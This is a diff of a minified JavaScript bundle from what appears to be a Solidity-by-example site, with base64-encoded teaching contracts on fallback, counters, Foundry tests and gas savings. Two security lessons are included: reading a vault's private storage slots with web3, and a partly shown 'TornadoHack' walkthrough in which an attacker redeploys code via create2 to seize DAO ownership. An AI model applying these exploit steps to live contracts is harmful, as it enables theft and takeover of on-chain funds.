KICAgICAgICByZXR1cm4gY291bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gaW5jKCkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NikgewogICAgICAgIGNvdW50ICs9IDE7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQp9Cgpjb250cmFjdCBUZXN0RmFsbGJhY2tJbnB1dE91dHB1dCB7CiAgICBldmVudCBMb2coYnl0ZXMgcmVzKTsKCiAgICBmdW5jdGlvbiB0ZXN0KGFkZHJlc3MgX2ZhbGxiYWNrLCBieXRlcyBjYWxsZGF0YSBkYXRhKSBleHRlcm5hbCB7CiAgICAgICAgKGJvb2wgb2ssIGJ5dGVzIG1lbW9yeSByZXMpID0gX2ZhbGxiYWNrLmNhbGwoZGF0YSk7CiAgICAgICAgcmVxdWlyZShvaywgImNhbGwgZmFpbGVkIik7CiAgICAgICAgZW1pdCBMb2cocmVzKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRUZXN0RGF0YSgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5LCBieXRlcyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4KICAgICAgICAgICAgKGFiaS5lbmNvZGVDYWxsKENvdW50ZXIuZ2V0LCAoKSksIGFiaS5lbmNvZGVDYWxsKENvdW50ZXIuaW5jLCAoKSkpOwogICAgfQp9Cg=="}],Ok=`

          fallback is a special function that is executed either when

          +`,Ek=({prev:s,next:a})=>r.jsx(A,{version:Mk,title:Sk,description:xk,cyfrinLink:Jk,html:Dk,prev:s,next:a,codes:zk}),Qk="0.8.26",Tk="Fallback",Lk="Example of how to use fallback in Solidity",Uk="https://www.cyfrin.io/glossary/fallback-solidity-code-example",_k=[{fileName:"Fallback.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEZhbGxiYWNrIHsKICAgIGV2ZW50IExvZyhzdHJpbmcgZnVuYywgdWludDI1NiBnYXMpOwoKICAgIC8vIEZhbGxiYWNrIGZ1bmN0aW9uIG11c3QgYmUgZGVjbGFyZWQgYXMgZXh0ZXJuYWwuCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIC8vIHNlbmQgLyB0cmFuc2ZlciAoZm9yd2FyZHMgMjMwMCBnYXMgdG8gdGhpcyBmYWxsYmFjayBmdW5jdGlvbikKICAgICAgICAvLyBjYWxsIChmb3J3YXJkcyBhbGwgb2YgdGhlIGdhcykKICAgICAgICBlbWl0IExvZygiZmFsbGJhY2siLCBnYXNsZWZ0KCkpOwogICAgfQoKICAgIC8vIFJlY2VpdmUgaXMgYSB2YXJpYW50IG9mIGZhbGxiYWNrIHRoYXQgaXMgdHJpZ2dlcmVkIHdoZW4gbXNnLmRhdGEgaXMgZW1wdHkKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBlbWl0IExvZygicmVjZWl2ZSIsIGdhc2xlZnQoKSk7CiAgICB9CgogICAgLy8gSGVscGVyIGZ1bmN0aW9uIHRvIGNoZWNrIHRoZSBiYWxhbmNlIG9mIHRoaXMgY29udHJhY3QKICAgIGZ1bmN0aW9uIGdldEJhbGFuY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGFkZHJlc3ModGhpcykuYmFsYW5jZTsKICAgIH0KfQoKY29udHJhY3QgU2V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b3VudDsKCiAgICBmdW5jdGlvbiBnZXQoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4gY291bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gaW5jKCkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NikgewogICAgICAgIGNvdW50ICs9IDE7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQp9Cgpjb250cmFjdCBUZXN0RmFsbGJhY2tJbnB1dE91dHB1dCB7CiAgICBldmVudCBMb2coYnl0ZXMgcmVzKTsKCiAgICBmdW5jdGlvbiB0ZXN0KGFkZHJlc3MgX2ZhbGxiYWNrLCBieXRlcyBjYWxsZGF0YSBkYXRhKSBleHRlcm5hbCB7CiAgICAgICAgKGJvb2wgb2ssIGJ5dGVzIG1lbW9yeSByZXMpID0gX2ZhbGxiYWNrLmNhbGwoZGF0YSk7CiAgICAgICAgcmVxdWlyZShvaywgImNhbGwgZmFpbGVkIik7CiAgICAgICAgZW1pdCBMb2cocmVzKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRUZXN0RGF0YSgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5LCBieXRlcyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4KICAgICAgICAgICAgKGFiaS5lbmNvZGVDYWxsKENvdW50ZXIuZ2V0LCAoKSksIGFiaS5lbmNvZGVDYWxsKENvdW50ZXIuaW5jLCAoKSkpOwogICAgfQp9Cg=="}],Ok=`

          fallback is a special function that is executed either when

          • a function that does not exist is called or
          • Ether is sent directly to a contract but receive() does not exist or msg.data is not empty
          • @@ -8962,7 +8962,7 @@ assertion probably means that there is a bug. (abi.encodeCall(Counter.get, ()), abi.encodeCall(Counter.inc, ())); } } -`,Pk=({prev:s,next:a})=>r.jsx(A,{version:Qk,title:Tk,description:Uk,cyfrinLink:Lk,html:Ok,prev:s,next:a,codes:_k}),$k="0.8.26",qk="First Application",s0="Example of smart contract in Solidity",a0="",n0=[{fileName:"Counter.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgLy8gRnVuY3Rpb24gdG8gZ2V0IHRoZSBjdXJyZW50IGNvdW50CiAgICBmdW5jdGlvbiBnZXQoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGluY3JlbWVudCBjb3VudCBieSAxCiAgICBmdW5jdGlvbiBpbmMoKSBwdWJsaWMgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9CgogICAgLy8gRnVuY3Rpb24gdG8gZGVjcmVtZW50IGNvdW50IGJ5IDEKICAgIGZ1bmN0aW9uIGRlYygpIHB1YmxpYyB7CiAgICAgICAgLy8gVGhpcyBmdW5jdGlvbiB3aWxsIGZhaWwgaWYgY291bnQgPSAwCiAgICAgICAgY291bnQgLT0gMTsKICAgIH0KfQo="}],l0=`

            Here is a simple contract that you can get, increment and decrement the count stored in this contract.

            +`,Pk=({prev:s,next:a})=>r.jsx(A,{version:Qk,title:Tk,description:Lk,cyfrinLink:Uk,html:Ok,prev:s,next:a,codes:_k}),$k="0.8.26",qk="First Application",s0="Example of smart contract in Solidity",a0="",n0=[{fileName:"Counter.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgLy8gRnVuY3Rpb24gdG8gZ2V0IHRoZSBjdXJyZW50IGNvdW50CiAgICBmdW5jdGlvbiBnZXQoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGluY3JlbWVudCBjb3VudCBieSAxCiAgICBmdW5jdGlvbiBpbmMoKSBwdWJsaWMgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9CgogICAgLy8gRnVuY3Rpb24gdG8gZGVjcmVtZW50IGNvdW50IGJ5IDEKICAgIGZ1bmN0aW9uIGRlYygpIHB1YmxpYyB7CiAgICAgICAgLy8gVGhpcyBmdW5jdGlvbiB3aWxsIGZhaWwgaWYgY291bnQgPSAwCiAgICAgICAgY291bnQgLT0gMTsKICAgIH0KfQo="}],l0=`

            Here is a simple contract that you can get, increment and decrement the count stored in this contract.

            // SPDX-License-Identifier: MIT
             pragma solidity ^0.8.26;
             
            @@ -9266,7 +9266,7 @@ assertion probably means that there is a bug.
                     console.log("res", res);
                 }
             }
            -
            `,T0=({prev:s,next:a})=>r.jsx(A,{version:x0,title:J0,description:z0,cyfrinLink:D0,html:Q0,prev:s,next:a,codes:E0}),U0="0.8.26",L0="Foundry Send",_0="Foundry send",O0="",P0=[{fileName:"SendTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI2OwoKaW1wb3J0ICJmb3JnZS1zdGQvVGVzdC5zb2wiOwoKLy8gRXhhbXBsZXMgb2YgZGVhbCBhbmQgaG9heAovLyBkZWFsKGFkZHJlc3MsIHVpbnQpIC0gU2V0IEVUSCBiYWxhbmNlIG9mIGFkZHJlc3MKLy8gZGVhbChhZGRyZXNzLCBhZGRyZXNzLCB1aW50MjU2KSAtIFNldHMgRVJDMjAgdG9rZW4gYmFsYW5jZSAod29ya3MgZm9yIG1vc3QgdG9rZW5zKQovLyBob2F4KGFkZHJlc3MsIHVpbnQpIC0gZGVhbCArIHByYW5rCgpjb250cmFjdCBFUkMyMCB7CiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbFN1cHBseTsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZU9mOwp9Cgpjb250cmFjdCBTZW5kVGVzdCBpcyBUZXN0IHsKICAgIEVSQzIwIHRva2VuID0gbmV3IEVSQzIwKCk7CgogICAgZnVuY3Rpb24gdGVzdFNlbmRFdGgoKSBwdWJsaWMgewogICAgICAgIC8vIFNldCBFVEggYmFsYW5jZQogICAgICAgIGRlYWwoYWRkcmVzcygxKSwgMTAwKTsKICAgICAgICBhc3NlcnRFcShhZGRyZXNzKDEpLmJhbGFuY2UsIDEwMCk7CgogICAgICAgIC8vIFNldCBFUkMyMCBiYWxhbmNlCiAgICAgICAgZGVhbChhZGRyZXNzKHRva2VuKSwgYWRkcmVzcygxKSwgMTApOwogICAgICAgIGFzc2VydEVxKHRva2VuLmJhbGFuY2VPZihhZGRyZXNzKDEpKSwgMTApOwogICAgfQp9Cg=="}],$0=`
            // SPDX-License-Identifier: MIT
            +
            `,T0=({prev:s,next:a})=>r.jsx(A,{version:x0,title:J0,description:z0,cyfrinLink:D0,html:Q0,prev:s,next:a,codes:E0}),L0="0.8.26",U0="Foundry Send",_0="Foundry send",O0="",P0=[{fileName:"SendTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI2OwoKaW1wb3J0ICJmb3JnZS1zdGQvVGVzdC5zb2wiOwoKLy8gRXhhbXBsZXMgb2YgZGVhbCBhbmQgaG9heAovLyBkZWFsKGFkZHJlc3MsIHVpbnQpIC0gU2V0IEVUSCBiYWxhbmNlIG9mIGFkZHJlc3MKLy8gZGVhbChhZGRyZXNzLCBhZGRyZXNzLCB1aW50MjU2KSAtIFNldHMgRVJDMjAgdG9rZW4gYmFsYW5jZSAod29ya3MgZm9yIG1vc3QgdG9rZW5zKQovLyBob2F4KGFkZHJlc3MsIHVpbnQpIC0gZGVhbCArIHByYW5rCgpjb250cmFjdCBFUkMyMCB7CiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbFN1cHBseTsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZU9mOwp9Cgpjb250cmFjdCBTZW5kVGVzdCBpcyBUZXN0IHsKICAgIEVSQzIwIHRva2VuID0gbmV3IEVSQzIwKCk7CgogICAgZnVuY3Rpb24gdGVzdFNlbmRFdGgoKSBwdWJsaWMgewogICAgICAgIC8vIFNldCBFVEggYmFsYW5jZQogICAgICAgIGRlYWwoYWRkcmVzcygxKSwgMTAwKTsKICAgICAgICBhc3NlcnRFcShhZGRyZXNzKDEpLmJhbGFuY2UsIDEwMCk7CgogICAgICAgIC8vIFNldCBFUkMyMCBiYWxhbmNlCiAgICAgICAgZGVhbChhZGRyZXNzKHRva2VuKSwgYWRkcmVzcygxKSwgMTApOwogICAgICAgIGFzc2VydEVxKHRva2VuLmJhbGFuY2VPZihhZGRyZXNzKDEpKSwgMTApOwogICAgfQp9Cg=="}],$0=`
            // SPDX-License-Identifier: MIT
             pragma solidity 0.8.26;
             
             import "forge-std/Test.sol";
            @@ -9294,7 +9294,7 @@ assertion probably means that there is a bug.
                     assertEq(token.balanceOf(address(1)), 10);
                 }
             }
            -
            `,q0=({prev:s,next:a})=>r.jsx(A,{version:U0,title:L0,description:_0,cyfrinLink:O0,html:$0,prev:s,next:a,codes:P0}),sZ="0.8.26",aZ="Foundry Sign",nZ="Foundry sign",lZ="",pZ=[{fileName:"SignTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI2OwoKaW1wb3J0ICJmb3JnZS1zdGQvVGVzdC5zb2wiOwoKY29udHJhY3QgU2lnblRlc3QgaXMgVGVzdCB7CiAgICAvLyBwcml2YXRlIGtleSA9IDEyMwogICAgLy8gcHVibGljIGtleSA9IHZtLmFkZHIocHJpdmF0ZSBrZXkpCiAgICAvLyBtZXNzYWdlID0gInNlY3JldCBtZXNzYWdlIgogICAgLy8gbWVzc2FnZSBoYXNoID0ga2VjY2FrMjU2KG1lc3NhZ2UpCiAgICAvLyB2bS5zaWduKHByaXZhdGUga2V5LCBtZXNzYWdlIGhhc2gpCiAgICBmdW5jdGlvbiB0ZXN0U2lnbmF0dXJlKCkgcHVibGljIHsKICAgICAgICB1aW50MjU2IHByaXZhdGVLZXkgPSAxMjM7CiAgICAgICAgLy8gQ29tcHV0ZXMgdGhlIGFkZHJlc3MgZm9yIGEgZ2l2ZW4gcHJpdmF0ZSBrZXkuCiAgICAgICAgYWRkcmVzcyBhbGljZSA9IHZtLmFkZHIocHJpdmF0ZUtleSk7CgogICAgICAgIC8vIFRlc3QgdmFsaWQgc2lnbmF0dXJlCiAgICAgICAgYnl0ZXMzMiBtZXNzYWdlSGFzaCA9IGtlY2NhazI1NigiU2lnbmVkIGJ5IEFsaWNlIik7CgogICAgICAgICh1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykgPSB2bS5zaWduKHByaXZhdGVLZXksIG1lc3NhZ2VIYXNoKTsKICAgICAgICBhZGRyZXNzIHNpZ25lciA9IGVjcmVjb3ZlcihtZXNzYWdlSGFzaCwgdiwgciwgcyk7CgogICAgICAgIGFzc2VydEVxKHNpZ25lciwgYWxpY2UpOwoKICAgICAgICAvLyBUZXN0IGludmFsaWQgbWVzc2FnZQogICAgICAgIGJ5dGVzMzIgaW52YWxpZEhhc2ggPSBrZWNjYWsyNTYoIk5vdCBzaWduZWQgYnkgQWxpY2UiKTsKICAgICAgICBzaWduZXIgPSBlY3JlY292ZXIoaW52YWxpZEhhc2gsIHYsIHIsIHMpOwoKICAgICAgICBhc3NlcnRUcnVlKHNpZ25lciAhPSBhbGljZSk7CiAgICB9Cn0K"}],eZ=`
            // SPDX-License-Identifier: MIT
            +
            `,q0=({prev:s,next:a})=>r.jsx(A,{version:L0,title:U0,description:_0,cyfrinLink:O0,html:$0,prev:s,next:a,codes:P0}),sZ="0.8.26",aZ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IgaW52YWxpZEhhc2ggPSBrZWNjYWsyNTYoIk5vdCBzaWduZWQgYnkgQWxpY2UiKTsKICAgICAgICBzaWduZXIgPSBlY3JlY292ZXIoaW52YWxpZEhhc2gsIHYsIHIsIHMpOwoKICAgICAgICBhc3NlcnRUcnVlKHNpZ25lciAhPSBhbGljZSk7CiAgICB9Cn0K"}],eZ=`
            // SPDX-License-Identifier: MIT
             pragma solidity 0.8.26;
             
             import "forge-std/Test.sol";
            @@ -9558,7 +9558,7 @@ assertion probably means that there is a bug.
                     }
                 }
             }
            -
            `,JZ=({prev:s,next:a})=>r.jsx(A,{version:HZ,title:KZ,description:FZ,cyfrinLink:MZ,html:xZ,prev:s,next:a,codes:SZ}),zZ="0.8.26",DZ="Gas Saving Techniques",EZ="Some gas saving techniques",QZ="https://www.cyfrin.io/glossary/gas-saving-techniques-solidity-code-example",TZ=[{fileName:"GasGolf.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIGdhcyBnb2xmCmNvbnRyYWN0IEdhc0dvbGYgewogICAgLy8gc3RhcnQgLSA1MDkwOCBnYXMKICAgIC8vIHVzZSBjYWxsZGF0YSAtIDQ5MTYzIGdhcwogICAgLy8gbG9hZCBzdGF0ZSB2YXJpYWJsZXMgdG8gbWVtb3J5IC0gNDg5NTIgZ2FzCiAgICAvLyBzaG9ydCBjaXJjdWl0IC0gNDg2MzQgZ2FzCiAgICAvLyBsb29wIGluY3JlbWVudHMgLSA0ODI0NCBnYXMKICAgIC8vIGNhY2hlIGFycmF5IGxlbmd0aCAtIDQ4MjA5IGdhcwogICAgLy8gbG9hZCBhcnJheSBlbGVtZW50cyB0byBtZW1vcnkgLSA0ODA0NyBnYXMKICAgIC8vIHVuY2hlY2sgaSBvdmVyZmxvdy91bmRlcmZsb3cgLSA0NzMwOSBnYXMKCiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbDsKCiAgICAvLyBzdGFydCAtIG5vdCBnYXMgb3B0aW1pemVkCiAgICAvLyBmdW5jdGlvbiBzdW1JZkV2ZW5BbmRMZXNzVGhhbjk5KHVpbnRbXSBtZW1vcnkgbnVtcykgZXh0ZXJuYWwgewogICAgLy8gICAgIGZvciAodWludCBpID0gMDsgaSA8IG51bXMubGVuZ3RoOyBpICs9IDEpIHsKICAgIC8vICAgICAgICAgYm9vbCBpc0V2ZW4gPSBudW1zW2ldICUgMiA9PSAwOwogICAgLy8gICAgICAgICBib29sIGlzTGVzc1RoYW45OSA9IG51bXNbaV0gPCA5OTsKICAgIC8vICAgICAgICAgaWYgKGlzRXZlbiAmJiBpc0xlc3NUaGFuOTkpIHsKICAgIC8vICAgICAgICAgICAgIHRvdGFsICs9IG51bXNbaV07CiAgICAvLyAgICAgICAgIH0KICAgIC8vICAgICB9CiAgICAvLyB9CgogICAgLy8gZ2FzIG9wdGltaXplZAogICAgLy8gWzEsIDIsIDMsIDQsIDUsIDEwMF0KICAgIGZ1bmN0aW9uIHN1bUlmRXZlbkFuZExlc3NUaGFuOTkodWludDI1NltdIGNhbGxkYXRhIG51bXMpIGV4dGVybmFsIHsKICAgICAgICB1aW50MjU2IF90b3RhbCA9IHRvdGFsOwogICAgICAgIHVpbnQyNTYgbGVuID0gbnVtcy5sZW5ndGg7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IGxlbjspIHsKICAgICAgICAgICAgdWludDI1NiBudW0gPSBudW1zW2ldOwogICAgICAgICAgICBpZiAobnVtICUgMiA9PSAwICYmIG51bSA8IDk5KSB7CiAgICAgICAgICAgICAgICBfdG90YWwgKz0gbnVtOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgICAgICArK2k7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHRvdGFsID0gX3RvdGFsOwogICAgfQp9Cg=="}],UZ=`

            Some gas saving techniques.

            +`,JZ=({prev:s,next:a})=>r.jsx(A,{version:HZ,title:KZ,description:FZ,cyfrinLink:MZ,html:xZ,prev:s,next:a,codes:SZ}),zZ="0.8.26",DZ="Gas Saving Techniques",EZ="Some gas saving techniques",QZ="https://www.cyfrin.io/glossary/gas-saving-techniques-solidity-code-example",TZ=[{fileName:"GasGolf.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIGdhcyBnb2xmCmNvbnRyYWN0IEdhc0dvbGYgewogICAgLy8gc3RhcnQgLSA1MDkwOCBnYXMKICAgIC8vIHVzZSBjYWxsZGF0YSAtIDQ5MTYzIGdhcwogICAgLy8gbG9hZCBzdGF0ZSB2YXJpYWJsZXMgdG8gbWVtb3J5IC0gNDg5NTIgZ2FzCiAgICAvLyBzaG9ydCBjaXJjdWl0IC0gNDg2MzQgZ2FzCiAgICAvLyBsb29wIGluY3JlbWVudHMgLSA0ODI0NCBnYXMKICAgIC8vIGNhY2hlIGFycmF5IGxlbmd0aCAtIDQ4MjA5IGdhcwogICAgLy8gbG9hZCBhcnJheSBlbGVtZW50cyB0byBtZW1vcnkgLSA0ODA0NyBnYXMKICAgIC8vIHVuY2hlY2sgaSBvdmVyZmxvdy91bmRlcmZsb3cgLSA0NzMwOSBnYXMKCiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbDsKCiAgICAvLyBzdGFydCAtIG5vdCBnYXMgb3B0aW1pemVkCiAgICAvLyBmdW5jdGlvbiBzdW1JZkV2ZW5BbmRMZXNzVGhhbjk5KHVpbnRbXSBtZW1vcnkgbnVtcykgZXh0ZXJuYWwgewogICAgLy8gICAgIGZvciAodWludCBpID0gMDsgaSA8IG51bXMubGVuZ3RoOyBpICs9IDEpIHsKICAgIC8vICAgICAgICAgYm9vbCBpc0V2ZW4gPSBudW1zW2ldICUgMiA9PSAwOwogICAgLy8gICAgICAgICBib29sIGlzTGVzc1RoYW45OSA9IG51bXNbaV0gPCA5OTsKICAgIC8vICAgICAgICAgaWYgKGlzRXZlbiAmJiBpc0xlc3NUaGFuOTkpIHsKICAgIC8vICAgICAgICAgICAgIHRvdGFsICs9IG51bXNbaV07CiAgICAvLyAgICAgICAgIH0KICAgIC8vICAgICB9CiAgICAvLyB9CgogICAgLy8gZ2FzIG9wdGltaXplZAogICAgLy8gWzEsIDIsIDMsIDQsIDUsIDEwMF0KICAgIGZ1bmN0aW9uIHN1bUlmRXZlbkFuZExlc3NUaGFuOTkodWludDI1NltdIGNhbGxkYXRhIG51bXMpIGV4dGVybmFsIHsKICAgICAgICB1aW50MjU2IF90b3RhbCA9IHRvdGFsOwogICAgICAgIHVpbnQyNTYgbGVuID0gbnVtcy5sZW5ndGg7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IGxlbjspIHsKICAgICAgICAgICAgdWludDI1NiBudW0gPSBudW1zW2ldOwogICAgICAgICAgICBpZiAobnVtICUgMiA9PSAwICYmIG51bSA8IDk5KSB7CiAgICAgICAgICAgICAgICBfdG90YWwgKz0gbnVtOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgICAgICArK2k7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHRvdGFsID0gX3RvdGFsOwogICAgfQp9Cg=="}],LZ=`

            Some gas saving techniques.

            • Replacing memory with calldata
            • Loading state variable to memory
            • @@ -9612,7 +9612,7 @@ assertion probably means that there is a bug. total = _total; } } -`,LZ=({prev:s,next:a})=>r.jsx(A,{version:zZ,title:DZ,description:EZ,cyfrinLink:QZ,html:UZ,prev:s,next:a,codes:TZ}),_Z="0.8.26",OZ="Accessing Private Data",PZ="An example of accessing private data from a Solidity smart contract",$Z="",qZ=[{fileName:"Vault.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCk5vdGU6IGNhbm5vdCB1c2Ugd2ViMyBvbiBKVk0s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ZjNmMzc3YzBkNDIiLCBjb25zb2xlLmxvZykKCnNsb3QgNyAtIGVtcHR5CmdldE1hcExvY2F0aW9uKDcsIDEpCndlYjMudXRpbHMubnVtYmVyVG9IZXgoIjgxMjIyMTkxOTg2MjI2ODA5MTAzMjc5MTE5OTk0NzA3ODY4MzIyODU1NzQxODE5OTA1OTA0NDE3OTUzMDkyNjY2Njk5MDk2OTYzMTEyIikKTm90ZTogV2UgY2FuIGFsc28gdXNlIHdlYjMgdG8gZ2V0IGRhdGEgbG9jYXRpb24Kd2ViMy51dGlscy5zb2xpZGl0eVNoYTMoeyB0eXBlOiAidWludCIsIHZhbHVlOiAxIH0sIHt0eXBlOiAidWludCIsIHZhbHVlOiA3fSkKdXNlciAxCndlYjMuZXRoLmdldFN0b3JhZ2VBdCgiMHg1MzRFNENlMGZmRjc3OTUxMzc5M2NmZDcwMzA4QUYxOTU4MjdCRDMxIiwgIjB4YjM5MjIxYWNlMDUzNDY1ZWMzNDUzY2UyYjM2NDMwYmQxMzhiOTk3ZWNlYTI1YzEwNDNkYTBjMzY2ODEyYjgyOCIsIGNvbnNvbGUubG9nKQp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGIzOTIyMWFjZTA1MzQ2NWVjMzQ1M2NlMmIzNjQzMGJkMTM4Yjk5N2VjZWEyNWMxMDQzZGEwYzM2NjgxMmI4MjkiLCBjb25zb2xlLmxvZykKKi8K"}],sW=`

              Vulnerability

              +`,UZ=({prev:s,next:a})=>r.jsx(A,{version:zZ,title:DZ,description:EZ,cyfrinLink:QZ,html:LZ,prev:s,next:a,codes:TZ}),_Z="0.8.26",OZ="Accessing Private Data",PZ="An example of accessing private data from a Solidity smart contract",$Z="",qZ=[{fileName:"Vault.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjA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0NTk1MjhkOTIwYjY1MTE1YzE2YzA0ZjNlZmM4MmFhZWRjOTdiZTU5ZjNmMzc3YzBkNDIiLCBjb25zb2xlLmxvZykKCnNsb3QgNyAtIGVtcHR5CmdldE1hcExvY2F0aW9uKDcsIDEpCndlYjMudXRpbHMubnVtYmVyVG9IZXgoIjgxMjIyMTkxOTg2MjI2ODA5MTAzMjc5MTE5OTk0NzA3ODY4MzIyODU1NzQxODE5OTA1OTA0NDE3OTUzMDkyNjY2Njk5MDk2OTYzMTEyIikKTm90ZTogV2UgY2FuIGFsc28gdXNlIHdlYjMgdG8gZ2V0IGRhdGEgbG9jYXRpb24Kd2ViMy51dGlscy5zb2xpZGl0eVNoYTMoeyB0eXBlOiAidWludCIsIHZhbHVlOiAxIH0sIHt0eXBlOiAidWludCIsIHZhbHVlOiA3fSkKdXNlciAxCndlYjMuZXRoLmdldFN0b3JhZ2VBdCgiMHg1MzRFNENlMGZmRjc3OTUxMzc5M2NmZDcwMzA4QUYxOTU4MjdCRDMxIiwgIjB4YjM5MjIxYWNlMDUzNDY1ZWMzNDUzY2UyYjM2NDMwYmQxMzhiOTk3ZWNlYTI1YzEwNDNkYTBjMzY2ODEyYjgyOCIsIGNvbnNvbGUubG9nKQp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGIzOTIyMWFjZTA1MzQ2NWVjMzQ1M2NlMmIzNjQzMGJkMTM4Yjk5N2VjZWEyNWMxMDQzZGEwYzM2NjgxMmI4MjkiLCBjb25zb2xlLmxvZykKKi8K"}],sW=`

              Vulnerability

              All data on a smart contract can be read.

              Let's see how we can read private data. In the process you will learn how Solidity stores state variables.

              // SPDX-License-Identifier: MIT
              @@ -10060,7 +10060,7 @@ Ether sent from KingOfEther before the new king is set.
                       require(sent, "Failed to send Ether");
                   }
               }
              -
              `,VW=({prev:s,next:a})=>r.jsx(A,{version:kW,title:ZW,description:WW,cyfrinLink:GW,html:fW,prev:s,next:a,codes:BW}),YW="0.8.26",XW="Deploy Different Contracts at the Same Address",RW="An example of a Solidity contract vulnerable to deploy different contracts at the same address",vW="",NW=[{fileName:"TornadoHack.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCkNhbGxlZCBieSBBbGljZQowLiBEZXBsb3kgREFPCgpDYWxsZWQgYnkgQXR0YWNrZXIKMS4gRGVwbG95IERlcGxveWVyRGVwbG95ZXIKMi4gQ2FsbCBEZXBsb3llckRlcGxveWVyLmRlcGxveSgpCjMuIENhbGwgRGVwbG95ZXIuZGVwbG95UHJvcG9zYWwoKQoKQ2FsbGVkIGJ5IEFsaWNlCjQuIEdldCBEQU8gYXBwcm92YWwgb2YgUHJvcG9zYWwKCkNhbGxlZCBieSBBdHRhY2tlcgo1LiBEZWxldGUgUHJvcG9zYWwgYW5kIERlcGxveWVyCjYuIFJlLWRlcGxveSBEZXBsb3llcgo3LiBDYWxsIERlcGxveWVyLmRlcGxveUF0dGFjaygpCjguIENhbGwgREFPLmV4ZWN1dGUKOS4gQ2hlY2sgREFPLm93bmVyIGlzIGF0dGFja2VyJ3MgYWRkcmVzcwoKREFPIC0tIGFwcHJvdmVkIC0tPiBQcm9wb3NhbApEZXBsb3llckRlcGxveWVyIC0tIGNyZWF0ZTIgLS0+IERlcGxveWVyIC0tIGNyZWF0ZSAtLT4gUHJvcG9zYWwKRGVwbG95ZXJEZXBsb3llciAtLSBjcmVhdGUyIC0tPiBEZXBsb3llciAtLSBjcmVhdGUgLS0+IEF0dGFjawoqLwoKY29udHJhY3QgREFPIHsKICAgIHN0cnVjdCBQcm9wb3NhbCB7CiAgI